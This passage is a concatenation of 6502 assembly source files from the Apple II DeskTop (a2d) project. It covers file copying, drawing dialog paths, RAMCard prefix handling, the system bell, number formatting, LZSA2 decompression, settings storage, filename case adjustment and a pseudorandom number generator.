inc ptr+1 ; second half
DO
ora (ptr),y
iny
WHILE_NOT_ZERO
tay
IF_ZERO
;; Block is all zeros, skip over it
add16_8 mark_dst_params::position+1, #.hibyte(BLOCK_SIZE)
MLI_CALL SET_EOF, mark_dst_params
MLI_CALL SET_MARK, mark_dst_params
jmp next_block
END_IF
END_IF
;; Block is not sparse, write it
jsr do_write
bcs ret
FALL_THROUGH_TO next_block
;; Advance to next block
next_block:
inc write_dst_params::data_buffer+1
inc write_dst_params::data_buffer+1
;; Assert: `read_src_params::trans_count` >= `BLOCK_SIZE`
dec read_src_params::trans_count+1
dec read_src_params::trans_count+1
;; Anything left to write?
lda read_src_params::trans_count
ora read_src_params::trans_count+1
WHILE_NOT_ZERO
clc
rts
do_write:
MLI_CALL WRITE, write_dst_params
bcs ret
MLI_CALL GET_MARK, mark_dst_params
ret: rts
.endproc ; _WriteDst
.endproc ; _CopyNormalFile
;;; ============================================================
.proc _CopyCreateFile
;; Copy `file_type`, `aux_type`, and `storage_type`
COPY_BYTES src_file_info_params::storage_type - src_file_info_params::file_type + 1, src_file_info_params::file_type, create_params::file_type
;; Copy `create_date`/`create_time`
COPY_STRUCT DateTime, src_file_info_params::create_date, create_params::create_date
;; If source is volume, create directory
lda create_params::storage_type
IF_A_EQ #ST_VOLUME_DIRECTORY
copy8 #ST_LINKED_DIRECTORY, create_params::storage_type
END_IF
;; Create it
MLI_CALL CREATE, create_params
IF_CS
.if ::kCopyIgnoreDuplicateErrorOnCreate
IF_A_NE #ERR_DUPLICATE_FILENAME
jmp OpHandleErrorCode
END_IF
.else
jmp OpHandleErrorCode
.endif
END_IF
clc ; treated as success
rts
.endproc ; _CopyCreateFile
|
a2stuff/a2d
| 1,686
|
src/lib/drawdialogpath.s
|
;;; Draw a path (long string) in the progress dialog by without intruding
;;; into the border. If the string is too long, it is shrunk from the
;;; center with "..." inserted.
;;; Inputs: A,X = string address
;;; Trashes $06...$0C
;;; `kProgressDialogPathWidth` must be defined
.proc DrawDialogPath
ptr := $6
stax ptr
loop: jsr measure
bcc draw ; already short enough
jsr ellipsify
jmp loop
;; Draw
draw: MGTK_CALL MGTK::DrawText, txt
rts
;; Measure
measure:
txt := $8
len := $A
result := $B
ldy #0
lda (ptr),y
sta len
ldxy ptr
inxy
stxy txt
MGTK_CALL MGTK::TextWidth, txt
cmp16 result, #kProgressDialogPathWidth
rts
ellipsify:
ldy #0
lda (ptr),y ; length
sta length
pha
sec ; shrink length by one
sbc #1
sta (ptr),y
pla
lsr ; /= 2
pha ; A = length/2
tay
DO
iny ; shift chars from midpoint to
lda (ptr),y ; end of string down by one
dey
sta (ptr),y
iny
length := *+1
cpy #SELF_MODIFIED_BYTE
WHILE_NE
pla ; A = length/2
tay ; overwrite midpoint with
lda #'.' ; "..."
sta (ptr),y
iny
sta (ptr),y
iny
sta (ptr),y
rts
.endproc ; DrawDialogPath
|
a2stuff/a2d
| 3,337
|
src/lib/ramcard.s
|
;;; ============================================================
;;; Access data stashed in Main LCBANK2 by DESKTOP.SYSTEM which
;;; indicates whether or not DeskTop was copied to a RAMCard.
;;; If stashed, then both the RAMCard prefix and the original
;;; prefix can be fetched.
;;; Define `RC_AUXMEM` if caller is running with `ALTZPON` (vs. `ALTZPOFF`)
;;; Define `RC_LCBANK` if caller is running with `LCBANK1` (vs. `ROMIN2`)
;;; Return the `COPIED_TO_RAMCARD_FLAG`.
.proc GetCopiedToRAMCardFlag
.ifdef RC_AUXMEM
sta ALTZPOFF
.endif ; RC_AUXMEM
bit LCBANK2
bit LCBANK2
lda COPIED_TO_RAMCARD_FLAG
.ifdef RC_AUXMEM
sta ALTZPON
.endif ; RC_AUXMEM
php
.ifdef RC_LCBANK
bit LCBANK1
bit LCBANK1
.else ; !RC_LCBANK
bit ROMIN2
.endif ; RC_LCBANK
plp
rts
.endproc ; GetCopiedToRAMCardFlag
;;; Copy the RAMCard prefix (e.g. "/RAM") to the passed buffer.
;;; Input: A,X=destination buffer
.proc CopyRAMCardPrefix
stax addr
.ifdef RC_AUXMEM
sta ALTZPOFF
.endif ; RC_AUXMEM
bit LCBANK2
bit LCBANK2
ldx RAMCARD_PREFIX
DO
lda RAMCARD_PREFIX,x
addr := *+1
sta SELF_MODIFIED,x
dex
WHILE_POS
.ifdef RC_AUXMEM
sta ALTZPON
.endif ; RC_AUXMEM
.ifdef RC_LCBANK
bit LCBANK1
bit LCBANK1
.else ; !RC_LCBANK
bit ROMIN2
.endif ; RC_LCBANK
rts
.endproc ; CopyRAMCardPrefix
;;; Copy the original DeskTop prefix (e.g. "/HD/A2D") to the passed buffer.
;;; Input: A,X=destination buffer
.proc CopyDeskTopOriginalPrefix
stax addr
.ifdef RC_AUXMEM
sta ALTZPOFF
.endif ; RC_AUXMEM
bit LCBANK2
bit LCBANK2
ldx DESKTOP_ORIG_PREFIX
DO
lda DESKTOP_ORIG_PREFIX,x
addr := *+1
sta SELF_MODIFIED,x
dex
WHILE_POS
.ifdef RC_AUXMEM
sta ALTZPON
.endif ; RC_AUXMEM
.ifdef RC_LCBANK
bit LCBANK1
bit LCBANK1
.else ; !RC_LCBANK
bit ROMIN2
.endif ; RC_LCBANK
rts
.endproc ; CopyDeskTopOriginalPrefix
;;; Get the "was it copied to RAMCard?" flag for the specified entry
;;; Input: X = `entry_num`
;;; Output: A = flag, and Z/N set appropriately
.proc GetEntryCopiedToRAMCardFlag
.ifdef RC_AUXMEM
sta ALTZPOFF
.endif ; RC_AUXMEM
bit LCBANK2
bit LCBANK2
lda ENTRY_COPIED_FLAGS,x
.ifdef RC_AUXMEM
sta ALTZPON
.endif ; RC_AUXMEM
php
.ifdef RC_LCBANK
bit LCBANK1
bit LCBANK1
.else ; !RC_LCBANK
bit ROMIN2
.endif ; RC_LCBANK
plp
rts
.endproc ; GetEntryCopiedToRAMCardFlag
;;; Set the "was it copied to RAMCard?" flag for the specified entry
;;; Input: A = flag, X = `entry_num`
.proc SetEntryCopiedToRAMCardFlag
.ifdef RC_AUXMEM
sta ALTZPOFF
.endif ; RC_AUXMEM
bit LCBANK2
bit LCBANK2
sta ENTRY_COPIED_FLAGS,x
.ifdef RC_AUXMEM
sta ALTZPON
.endif ; RC_AUXMEM
.ifdef RC_LCBANK
bit LCBANK1
bit LCBANK1
.else ; !RC_LCBANK
bit ROMIN2
.endif ; RC_LCBANK
rts
.endproc ; SetEntryCopiedToRAMCardFlag
|
a2stuff/a2d
| 2,116
|
src/lib/bell.s
|
;;; ============================================================
;;; Bell
;;;
;;; Requires these definitions:
;;; * `kBellProcLength` - size of sound procs
;;; * `BELLPROC` - runtime location of sound procs
;;; * `SlowSpeed` - slow accelerator, if needed
;;; * `ResumeSpeed` - resume accelerator, if needed
.proc Bell
.assert .lobyte(::BELLPROC) = 0, error, "Must be page-aligned"
;; Put routine into location
jsr _Swap
;; `BELLPROC` starting with 0 byte (BRK) signals silent bell
lda BELLPROC
IF_ZERO
MGTK_CALL MGTK::FlashMenuBar
;; Hit Slot 6, which causes accelerators e.g. Zip Chip
;; to slow down.
;; NOTE: $C0E0 causes Virtual ][ emulator to make sound;
;; $C0EC (data read location) does not.
bit $C0EC
ptr := $06
copy16 #20000, ptr
loop: dec ptr
bne loop
dec ptr+1
bne loop
MGTK_CALL MGTK::FlashMenuBar
ELSE
;; Suppress interrupts
php
sei
;; Play it
jsr SlowSpeed
proc := *+1
jsr BELLPROC
jsr ResumeSpeed
;; Restore interrupt state
plp
END_IF
;; Restore memory
FALL_THROUGH_TO _Swap
.proc _Swap
.assert kBellProcLength <= 128, error, "Can't BPL this loop"
;; Save and change banking
bit RDALTZP
sta ALTZPOFF ; preserve state on main stack
php
bit RDLCRAM
php
bit RDBNK2
php
bit LCBANK2
bit LCBANK2
;; Swap proc into place
ldy #kBellProcLength - 1
DO
swap8 BELLPROC,y, BELLDATA,y
dey
WHILE_POS
;; Restore banking
plp
IF_NC
bit LCBANK1 ; restore LCBANK1
bit LCBANK1
END_IF
plp
IF_NC
bit ROMIN2 ; restore ROMIN2
END_IF
plp
IF_NS
sta ALTZPON ; restore ALTZPON
END_IF
rts
.endproc ; _Swap
.endproc ; Bell
|
a2stuff/a2d
| 2,240
|
src/lib/inttostring.s
|
;;; ============================================================
;;; Entry points:
;;; IntToString - no thousands separators
;;; IntToStringWithSeparators - thousands separator
;;; Input: 16-bit unsigned integer in A,X
;;; Output: length-prefixed string in str_from_int
.scope inttostring_impl
ENTRY_POINTS_FOR_BIT7_FLAG sep, nosep, separator_flag
stax value
ldx #DeskTopSettings::intl_thou_sep
jsr ReadSetting
sta thou_sep_char
CLEAR_BIT7_FLAG nonzero_flag
ldy #0 ; y = position in string
ldx #0 ; x = which power index is subtracted (*2)
;; For each power of ten
loop: lda #0
sta digit
;; Keep subtracting/incrementing until zero is hit
sloop: cmp16 value, powers,x
bcc break
inc digit
sub16 value, powers,x, value
jmp sloop
break: lda digit
bne not_pad
bit nonzero_flag
bpl next
;; Convert to ASCII
not_pad:
ora #'0'
SET_BIT7_FLAG nonzero_flag
;; Place the character
iny
sta str_from_int,y
;; Add thousands separator, if needed
bit separator_flag
bpl next
cpx #2
bne next
iny
thou_sep_char := *+1
lda #SELF_MODIFIED_BYTE
sta str_from_int,y
next: inx
inx
cpx #8 ; up to 4 digits (*2) via subtraction
beq done
jmp loop
done: lda value ; handle last digit
ora #'0'
iny
sta str_from_int,y
sty str_from_int
rts
powers: .word 10000, 1000, 100, 10
value: .word 0 ; remaining value as subtraction proceeds
digit: .byte 0 ; current digit being accumulated
nonzero_flag: ; bit7 set once a non-zero digit seen
.byte 0
separator_flag: ; bit7 set if thousands separators requested
.byte 0
.endscope ; inttostring_impl
;;; Exports
IntToString := inttostring_impl::nosep
IntToStringWithSeparators := inttostring_impl::sep
|
a2stuff/a2d
| 8,900
|
src/lib/lzsa.s
|
; LZSA 'decompress_fast_v2.s'
; note -- modified by Vince Weaver to assemble with ca65
; -----------------------------------------------------------------------------
; Decompress raw LZSA2 block.
; Create one with lzsa -r -f2 <original_file> <compressed_file>
;
; in:
; * LZSA_SRC_LO and LZSA_SRC_HI contain the compressed raw block address
; * LZSA_DST_LO and LZSA_DST_HI contain the destination buffer address
;
; out:
; * LZSA_DST_LO and LZSA_DST_HI contain the last decompressed byte address, +1
;
; -----------------------------------------------------------------------------
; Backward decompression is also supported, use lzsa -r -b -f2 <original_file> <compressed_file>
; To use it, also define BACKWARD_DECOMPRESS=1 before including this code!
;
; in:
; * LZSA_SRC_LO/LZSA_SRC_HI must contain the address of the last byte of compressed data
; * LZSA_DST_LO/LZSA_DST_HI must contain the address of the last byte of the destination buffer
;
; out:
; * LZSA_DST_LO/LZSA_DST_HI contain the last decompressed byte address, -1
;
; -----------------------------------------------------------------------------
;
; Copyright (C) 2019 Emmanuel Marty, Peter Ferrie
;
; This software is provided 'as-is', without any express or implied
; warranty. In no event will the authors be held liable for any damages
; arising from the use of this software.
;
; Permission is granted to anyone to use this software for any purpose,
; including commercial applications, and to alter it and redistribute it
; freely, subject to the following restrictions:
;
; 1. The origin of this software must not be misrepresented; you must not
; claim that you wrote the original software. If you use this software
; in a product, an acknowledgment in the product documentation would be
; appreciated but is not required.
; 2. Altered source versions must be plainly marked as such, and must not be
; misrepresented as being the original software.
; 3. This notice may not be removed or altered from any source distribution.
; -----------------------------------------------------------------------------
NIBCOUNT = $FC ; zero-page location for temp offset
decompress_lzsa2_fast:
ldy #$00
sty NIBCOUNT
decode_token:
jsr getsrc ; read token byte: XYZ|LL|MMM
pha ; preserve token on stack
and #$18 ; isolate literals count (LL)
beq no_literals ; skip if no literals to copy
cmp #$18 ; LITERALS_RUN_LEN_V2?
bcc prepare_copy_literals ; if less, count is directly embedded in token
jsr getnibble ; get extra literals length nibble
; add nibble to len from token
adc #$02 ; (LITERALS_RUN_LEN_V2) minus carry
cmp #$12 ; LITERALS_RUN_LEN_V2 + 15 ?
bcc prepare_copy_literals_direct ; if less, literals count is complete
jsr getsrc ; get extra byte of variable literals count
; the carry is always set by the CMP above
; GETSRC doesn't change it
sbc #$EE ; overflow?
jmp prepare_copy_literals_direct
prepare_copy_literals_large:
; handle 16 bits literals count
; literals count = directly these 16 bits
jsr getlargesrc ; grab low 8 bits in X, high 8 bits in A
tay ; put high 8 bits in Y
bcs prepare_copy_literals_high ; (*same as JMP PREPARE_COPY_LITERALS_HIGH but shorter)
prepare_copy_literals:
lsr ; shift literals count into place
lsr
lsr
prepare_copy_literals_direct:
tax
bcs prepare_copy_literals_large ; if so, literals count is large
prepare_copy_literals_high:
txa
beq copy_literals
iny
copy_literals:
jsr getput ; copy one byte of literals
dex
bne copy_literals
dey
bne copy_literals
no_literals:
pla ; retrieve token from stack
pha ; preserve token again
asl
bcs repmatch_or_large_offset ; 1YZ: rep-match or 13/16 bit offset
asl ; 0YZ: 5 or 9 bit offset
bcs offset_9_bit
; 00Z: 5 bit offset
ldx #$FF ; set offset bits 15-8 to 1
jsr getcombinedbits ; rotate Z bit into bit 0, read nibble for bits 4-1
ora #$E0 ; set bits 7-5 to 1
bne got_offset_lo ; go store low byte of match offset and prepare match
offset_9_bit: ; 01Z: 9 bit offset
;;asl ; shift Z (offset bit 8) in place
rol
rol
and #$01
eor #$FF ; set offset bits 15-9 to 1
bne got_offset_hi ; go store high byte, read low byte of match offset and prepare match
; (*same as JMP GOT_OFFSET_HI but shorter)
repmatch_or_large_offset:
asl ; 13 bit offset?
bcs repmatch_or_16bit ; handle rep-match or 16-bit offset if not
; 10Z: 13 bit offset
jsr getcombinedbits ; rotate Z bit into bit 8, read nibble for bits 12-9
adc #$DE ; set bits 15-13 to 1 and subtract 2 (to subtract 512)
bne got_offset_hi ; go store high byte, read low byte of match offset and prepare match
; (*same as JMP GOT_OFFSET_HI but shorter)
repmatch_or_16bit: ; rep-match or 16 bit offset
;;ASL ; XYZ=111?
bmi rep_match ; reuse previous offset if so (rep-match)
; 110: handle 16 bit offset
jsr getsrc ; grab high 8 bits
got_offset_hi:
tax
jsr getsrc ; grab low 8 bits
got_offset_lo:
sta OFFSLO ; store low byte of match offset
stx OFFSHI ; store high byte of match offset
rep_match:
.ifdef BACKWARD_DECOMPRESS
; Backward decompression - subtract match offset
sec ; add dest + match offset
lda putdst+1 ; low 8 bits
OFFSLO = *+1
sbc #$AA
sta copy_match_loop+1 ; store back reference address
lda putdst+2
OFFSHI = *+1
sbc #$AA ; high 8 bits
sta copy_match_loop+2 ; store high 8 bits of address
sec
.else
; Forward decompression - add match offset
clc ; add dest + match offset
lda putdst+1 ; low 8 bits
OFFSLO = *+1
adc #$AA
sta copy_match_loop+1 ; store back reference address
OFFSHI = *+1
lda #$AA ; high 8 bits
adc putdst+2
sta copy_match_loop+2 ; store high 8 bits of address
.endif
pla ; retrieve token from stack again
and #$07 ; isolate match len (MMM)
adc #$01 ; add MIN_MATCH_SIZE_V2 and carry
cmp #$09 ; MIN_MATCH_SIZE_V2 + MATCH_RUN_LEN_V2?
bcc prepare_copy_match ; if less, length is directly embedded in token
jsr getnibble ; get extra match length nibble
; add nibble to len from token
adc #$08 ; (MIN_MATCH_SIZE_V2 + MATCH_RUN_LEN_V2) minus carry
cmp #$18 ; MIN_MATCH_SIZE_V2 + MATCH_RUN_LEN_V2 + 15?
bcc prepare_copy_match ; if less, match length is complete
jsr getsrc ; get extra byte of variable match length
; the carry is always set by the CMP above
; GETSRC doesn't change it
sbc #$E8 ; overflow?
prepare_copy_match:
tax
bcc prepare_copy_match_y ; if not, the match length is complete
beq decompression_done ; if EOD code, bail
; Handle 16 bits match length
jsr getlargesrc ; grab low 8 bits in X, high 8 bits in A
tay ; put high 8 bits in Y
prepare_copy_match_y:
txa
beq copy_match_loop
iny
copy_match_loop:
lda $AAAA ; get one byte of backreference
jsr putdst ; copy to destination
.ifdef BACKWARD_DECOMPRESS
; Backward decompression -- put backreference bytes backward
lda copy_match_loop+1
beq getmatch_adj_hi
getmatch_done:
dec copy_match_loop+1
.else
; Forward decompression -- put backreference bytes forward
inc copy_match_loop+1
beq getmatch_adj_hi
getmatch_done:
.endif
dex
bne copy_match_loop
dey
bne copy_match_loop
jmp decode_token
.ifdef BACKWARD_DECOMPRESS
getmatch_adj_hi:
dec copy_match_loop+2
jmp getmatch_done
.else
getmatch_adj_hi:
inc copy_match_loop+2
jmp getmatch_done
.endif
getcombinedbits:
eor #$80
asl
php
jsr getnibble ; get nibble into bits 0-3 (for offset bits 1-4)
plp ; merge Z bit as the carry bit (for offset bit 0)
combinedbitz:
rol ; nibble -> bits 1-4; carry(!Z bit) -> bit 0 ; carry cleared
decompression_done:
rts
getnibble:
NIBBLES = *+1
lda #$AA
lsr NIBCOUNT
bcc need_nibbles
and #$0F ; isolate low 4 bits of nibble
rts
need_nibbles:
inc NIBCOUNT
jsr getsrc ; get 2 nibbles
sta NIBBLES
lsr
lsr
lsr
lsr
sec
rts
.ifdef BACKWARD_DECOMPRESS
; Backward decompression -- get and put bytes backward
getput:
jsr getsrc
putdst:
LZSA_DST_LO = *+1
LZSA_DST_HI = *+2
sta $AAAA
lda putdst+1
beq putdst_adj_hi
dec putdst+1
rts
putdst_adj_hi:
dec putdst+2
dec putdst+1
rts
getlargesrc:
jsr getsrc ; grab low 8 bits
tax ; move to X
; fall through grab high 8 bits
getsrc:
LZSA_SRC_LO = *+1
LZSA_SRC_HI = *+2
lda $AAAA
pha
lda getsrc+1
beq getsrc_adj_hi
dec getsrc+1
pla
rts
getsrc_adj_hi:
dec getsrc+2
dec getsrc+1
pla
rts
.else
; Forward decompression -- get and put bytes forward
getput:
jsr getsrc
putdst:
LZSA_DST_LO = *+1
LZSA_DST_HI = *+2
sta $AAAA
inc putdst+1
beq putdst_adj_hi
rts
putdst_adj_hi:
inc putdst+2
rts
getlargesrc:
jsr getsrc ; grab low 8 bits
tax ; move to X
; fall through grab high 8 bits
getsrc:
getsrc_smc:
LZSA_SRC_LO = *+1
LZSA_SRC_HI = *+2
lda $AAAA
inc getsrc+1
beq getsrc_adj_hi
rts
getsrc_adj_hi:
inc getsrc+2
rts
.endif
|
a2stuff/a2d
| 3,171
|
src/lib/save_settings.s
|
;;; ============================================================
;;; Save Settings
;;;
;;; Used in control panel DAs
;;; ============================================================
filename:
PASCAL_STRING kPathnameDeskTopConfig
filename_buffer:
.res kPathBufferSize
write_buffer := DA_IO_BUFFER - kDeskTopSettingsFileSize
DEFINE_CREATE_PARAMS create_params, filename, ACCESS_DEFAULT, $F1
DEFINE_OPEN_PARAMS open_params, filename, DA_IO_BUFFER
DEFINE_READWRITE_PARAMS write_params, write_buffer, kDeskTopSettingsFileSize
DEFINE_CLOSE_PARAMS close_params
;;; Run from Main, but with Aux LCBANK1 in
.proc SaveSettings
;; Copy from Main LCBANK2 to somewhere ProDOS can read.
sta ALTZPOFF
bit LCBANK2
bit LCBANK2
COPY_STRUCT DeskTopSettings, SETTINGS, write_buffer + kDeskTopSettingsFileOffset
copy8 #kDeskTopSettingsFileVersion, write_buffer
sta ALTZPON
bit LCBANK1
bit LCBANK1
;; Write to desktop current prefix
ldax #filename
stax create_params::pathname
stax open_params::pathname
jsr _DoWrite
bcs done ; failed and canceled
;; Write to the original file location, if necessary
jsr JUMP_TABLE_GET_RAMCARD_FLAG
beq done
ldax #filename_buffer
stax create_params::pathname
stax open_params::pathname
jsr JUMP_TABLE_GET_ORIG_PREFIX
jsr _AppendFilename
jsr _DoWrite
done: rts
.proc _AppendFilename
;; Append filename to buffer
inc filename_buffer ; Add '/' separator
ldx filename_buffer
lda #'/'
sta filename_buffer,x
ldx #0 ; Append filename
ldy filename_buffer
DO
inx
iny
lda filename,x
sta filename_buffer,y
WHILE_X_NE filename
sty filename_buffer
rts
.endproc ; _AppendFilename
.proc _DoWrite
;; First time - ask if we should even try.
copy8 #kErrSaveChanges, message
retry:
;; Create if necessary
copy16 DATELO, create_params::create_date
copy16 TIMELO, create_params::create_time
JUMP_TABLE_MLI_CALL CREATE, create_params
JUMP_TABLE_MLI_CALL OPEN, open_params
bcs error
lda open_params::ref_num
sta write_params::ref_num
sta close_params::ref_num
JUMP_TABLE_MLI_CALL WRITE, write_params
php ; preserve result
JUMP_TABLE_MLI_CALL CLOSE, close_params
plp
bcc ret ; succeeded
error:
message := *+1
lda #SELF_MODIFIED_BYTE
jsr JUMP_TABLE_SHOW_ALERT
;; Second time - prompt to insert.
ldx #kErrInsertSystemDisk
stx message
cmp #kAlertResultOK
beq retry
sec ; failed
ret: rts
second_try_flag:
.byte 0
.endproc ; _DoWrite
.endproc ; SaveSettings
|
a2stuff/a2d
| 5,192
|
src/lib/adjustfilecase.s
|
;;; ============================================================
;;; Adjust filename case, using GS/OS bits or heuristics
;;; Per Technical Note: GS/OS #8: Filenames With More Than CAPS and Numerals
;;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/gsos/tn.gsos.08.html
;;; AdjustFileEntryCase:
;;; Input: A,X points at `FileEntry` structure.
;;; Output: `FileEntry`'s filename case is adjusted
;;; AdjustOnLineEntryCase:
;;; Input: A,X points at `ON_LINE` entry (i.e. unit num / length, 15 chars)
;;; Output: entry starts with just length, and case adjusted
;;; `ADJUSTCASE_BLOCK_BUFFER` must be defined; used for volume names
.if !kBuildSupportsLowercase
;;; Some encodings preclude lowercase ASCII, so no case adjust
AdjustOnLineEntryCase:
ptr := $A
stax ptr
ldy #0
lda (ptr),y
and #NAME_LENGTH_MASK
sta (ptr),y
AdjustFileEntryCase:
AdjustFileNameCase:
rts
.else
.scope adjustfilecase_impl
DEFINE_READWRITE_BLOCK_PARAMS volname_block_params, ADJUSTCASE_BLOCK_BUFFER, kVolumeDirKeyBlock
ptr := $A
;;; --------------------------------------------------
;;; Called with volume name. Convert to path, load
;;; VolumeDirectoryHeader, use bytes $1A/$1B
online_entry:
stax ptr
ldy #0
lda (ptr),y
pha
and #UNIT_NUM_MASK
sta volname_block_params::unit_num
pla
and #NAME_LENGTH_MASK
sta (ptr),y
MLI_CALL READ_BLOCK, volname_block_params
bcs fallback
copy16 ADJUSTCASE_BLOCK_BUFFER + VolumeDirectoryHeader::case_bits, case_bits
jmp common
;;; --------------------------------------------------
;;; Called with FileEntry. Copy version bytes directly.
file_entry:
stax ptr
.assert FileEntry::file_name = 1, error, "bad assumptions in structure"
;; AppleWorks?
ldy #FileEntry::file_type
lda (ptr),y
cmp #FT_ADB
beq appleworks
cmp #FT_AWP
beq appleworks
cmp #FT_ASP
beq appleworks
ldy #FileEntry::case_bits
copy16in (ptr),y, case_bits
FALL_THROUGH_TO common
common:
asl16 case_bits
bcs apply_bits ; High bit set = GS/OS case bits present
;;; --------------------------------------------------
;;; GS/OS bits are not present; apply heuristics
fallback:
.include "wordcase.s"
;;; --------------------------------------------------
;;; GS/OS bits are present - apply to recase string.
;;; Per Technical Note: GS/OS #8: Filenames With More Than CAPS and Numerals
;;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/gsos/tn.gsos.08.html
;;;
;;; "If version is read as a word value, bit 7 of min_version would be the
;;; highest bit (bit 15) of the word. If that bit is set, the remaining 15
;;; bits of the word are interpreted as flags that indicate whether the
;;; corresponding character in the filename is uppercase or lowercase, with
;;; set indicating lowercase."
apply_bits:
ldy #1
DO
asl16 case_bits ; NOTE: Shift out high byte first
IF_CS
lda (ptr),y
ora #AS_BYTE(~CASE_MASK) ; guarded by `kBuildSupportsLowercase`
sta (ptr),y
END_IF
iny
WHILE_Y_LT #16 ; bits
rts
;;; --------------------------------------------------
;;; AppleWorks
;;; Per File Type Notes: File Type $19 (25) All Auxiliary Types
;;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/ftyp/ftn.19.xxxx.html
;;; Per File Type Notes: File Type $1A (26) All Auxiliary Types
;;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/ftyp/ftn.1A.xxxx.html
;;; Per File Type Notes: File Type $1B (27) All Auxiliary Types
;;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/ftyp/ftn.1B.xxxx.html
;;;
;;; "The volume or subdirectory auxiliary type word for this file type is
;;; defined to control uppercase and lowercase display of filenames. The
;;; highest bit of the least significant byte corresponds to the first
;;; character of the filename, the next highest bit of the least significant
;;; byte corresponds to the second character, etc., through the second bit
;;; of the most significant byte, which corresponds to the fifteenth
;;; character of the filename."
;;;
;;; Same logic as GS/OS, just a different field and byte-swapped.
appleworks:
ldy #FileEntry::aux_type
lda (ptr),y
sta case_bits+1
iny
lda (ptr),y
sta case_bits
jmp apply_bits
;;; --------------------------------------------------
;;; File name (max 15 characters)
file_name:
stax ptr
jmp fallback
;;; --------------------------------------------------
case_bits:
.word 0
.endscope ; adjustfilecase_impl
;;; Exports
AdjustFileNameCase := adjustfilecase_impl::file_name
AdjustFileEntryCase := adjustfilecase_impl::file_entry
AdjustOnLineEntryCase := adjustfilecase_impl::online_entry
.endif
|
a2stuff/a2d
| 1,163
|
src/lib/default_sound.s
|
;;; ============================================================
;;; Default Sound
;;; ============================================================
;;; From ProDOS 8 Technical Reference Manual 5.4:
;;; "The standard Apple II "Air-raid" bell has been replaced with a
;;; gentler tone. Use it to give users some aural feedback that
;;; they are using a ProDOS program."
.proc DefaultBell
.pushorg ::BELLPROC
;;; Generate a nice little tone
;;; Exits with Z-flag set (BEQ) for branching
;;; Destroys the contents of the accumulator
lda #32 ;duration of tone
sta length
bell1: lda #2 ;short delay...click
jsr Wait
sta SPKR
lda #32 ;long delay...click
jsr Wait
sta SPKR
dec length
bne bell1 ;repeat length times
rts
;;; This is the wait routine from the Monitor ROM.
Wait: sec
wait2: pha
wait3: sbc #1
bne wait3
pla
sbc #1
bne wait2
rts
length: .byte 1 ;duration of tone
.poporg
.endproc ; DefaultBell
|
a2stuff/a2d
| 1,535
|
src/lib/prng.s
|
;;; ============================================================
;;; Pseudorandom Number Generation
;;; From https://www.apple2.org.za/gswv/a2zine/GS.WorldView/v1999/Nov/Articles.and.Reviews/Apple2RandomNumberGenerator.htm
;;; By David Empson
;;; NOTE: low bit of N and high bit of N+2 are coupled
.scope PRNGState
R1: .byte 0
R2: .byte 0
R3: .byte 0
R4: .byte 0
.endscope ; PRNGState
.proc Random
ror PRNGState::R4 ; Bit 25 to carry
lda PRNGState::R3 ; Shift left 8 bits
sta PRNGState::R4
lda PRNGState::R2
sta PRNGState::R3
lda PRNGState::R1
sta PRNGState::R2
lda PRNGState::R4 ; Get original bits 17-24
ror ; Now bits 18-25 in ACC
rol PRNGState::R1 ; R1 holds bits 1-7
eor PRNGState::R1 ; Seven bits at once
ror PRNGState::R4 ; Shift right by one bit
ror PRNGState::R3
ror PRNGState::R2
ror
sta PRNGState::R1
rts
.endproc ; Random
.proc InitRand
;; Use current 24-bit tick count as seed
.if ::DA_IN_AUX_SEGMENT
JSR_TO_MAIN JUMP_TABLE_GET_TICKS
.else
jsr JUMP_TABLE_GET_TICKS
.endif
sta PRNGState::R1
sta PRNGState::R2
stx PRNGState::R3
sty PRNGState::R4
ldx #$20 ; Generate a few random numbers
InitLoop:
jsr Random ; to kick things off
dex
bne InitLoop
rts
.endproc ; InitRand
|
a2stuff/a2d
| 2,225
|
src/lib/default_settings.s
|
;;; ============================================================
;;; Default Settings
;;;
;;; Keep in sync w/ DeskTopSettings definition/offsets
;;; ============================================================
.proc DefaultSettings
settings_start := *
ASSERT_ADDRESS settings_start + DeskTopSettings::pattern
.byte %01010101
.byte %10101010
.byte %01010101
.byte %10101010
.byte %01010101
.byte %10101010
.byte %01010101
.byte %10101010
ASSERT_ADDRESS settings_start + DeskTopSettings::dblclick_speed
.word kDefaultDblClickSpeed * 4 ; * 1, * 4, or * 16
ASSERT_ADDRESS settings_start + DeskTopSettings::caret_blink_speed
.word kDefaultCaretBlinkSpeed ; * 0.5, * 1, or * 2
ASSERT_ADDRESS settings_start + DeskTopSettings::clock_24hours
.byte res_const_clock_format ; $80 = 24-hour
ASSERT_ADDRESS settings_start + DeskTopSettings::rgb_color
.byte 0
ASSERT_ADDRESS settings_start + DeskTopSettings::mouse_tracking
.byte 0
ASSERT_ADDRESS settings_start + DeskTopSettings::options
.byte DeskTopSettings::kOptionsSkipSelector | DeskTopSettings::kOptionsSkipRAMCard | DeskTopSettings::kOptionsSetCaseBits
ASSERT_ADDRESS settings_start + DeskTopSettings::intl_date_sep
.byte res_char_date_separator
ASSERT_ADDRESS settings_start + DeskTopSettings::intl_time_sep
.byte res_char_time_separator
ASSERT_ADDRESS settings_start + DeskTopSettings::intl_thou_sep
.byte res_char_thousands_separator
ASSERT_ADDRESS settings_start + DeskTopSettings::intl_deci_sep
.byte res_char_decimal_separator
ASSERT_ADDRESS settings_start + DeskTopSettings::intl_date_order
.byte res_const_date_order
ASSERT_ADDRESS settings_start + DeskTopSettings::default_view
.byte DeskTopSettings::kViewByIcon
ASSERT_ADDRESS settings_start + DeskTopSettings::intl_first_dow
.byte res_const_first_dow
;; Reserved for future use...
PAD_TO settings_start + .sizeof(DeskTopSettings)
.endproc ; DefaultSettings
|
a2stuff/a2d
| 1,647
|
src/lib/readwrite_settings.s
|
;;; ============================================================
;;; Read or write a value to the settings store in Main/LCBank2.
;;;
;;; Can be called with any banking configuration - from Main or Aux.
;;; (`ALTZPON`/`ALTZPOFF`; `ROMIN2`/`LCBANK1`/`LCBANK2`)
;;;
;;; Inputs: X = offset into DeskTopSettings struct
;;; A = new value (on write)
;;; Output: A = current value (on read), unchanged (on write)
;;; X is unchanged
;;; Y is scrambled
;;; Z/N set appropriately for A
;;; ============================================================
.scope readwrite_settings_impl
read: ldy #OPC_LDA_abx
SKIP_NEXT_2_BYTE_INSTRUCTION
write: ldy #OPC_STA_abx
.assert (OPC_STA_abs & $F0) <> $C0, error, "bad BIT usage"
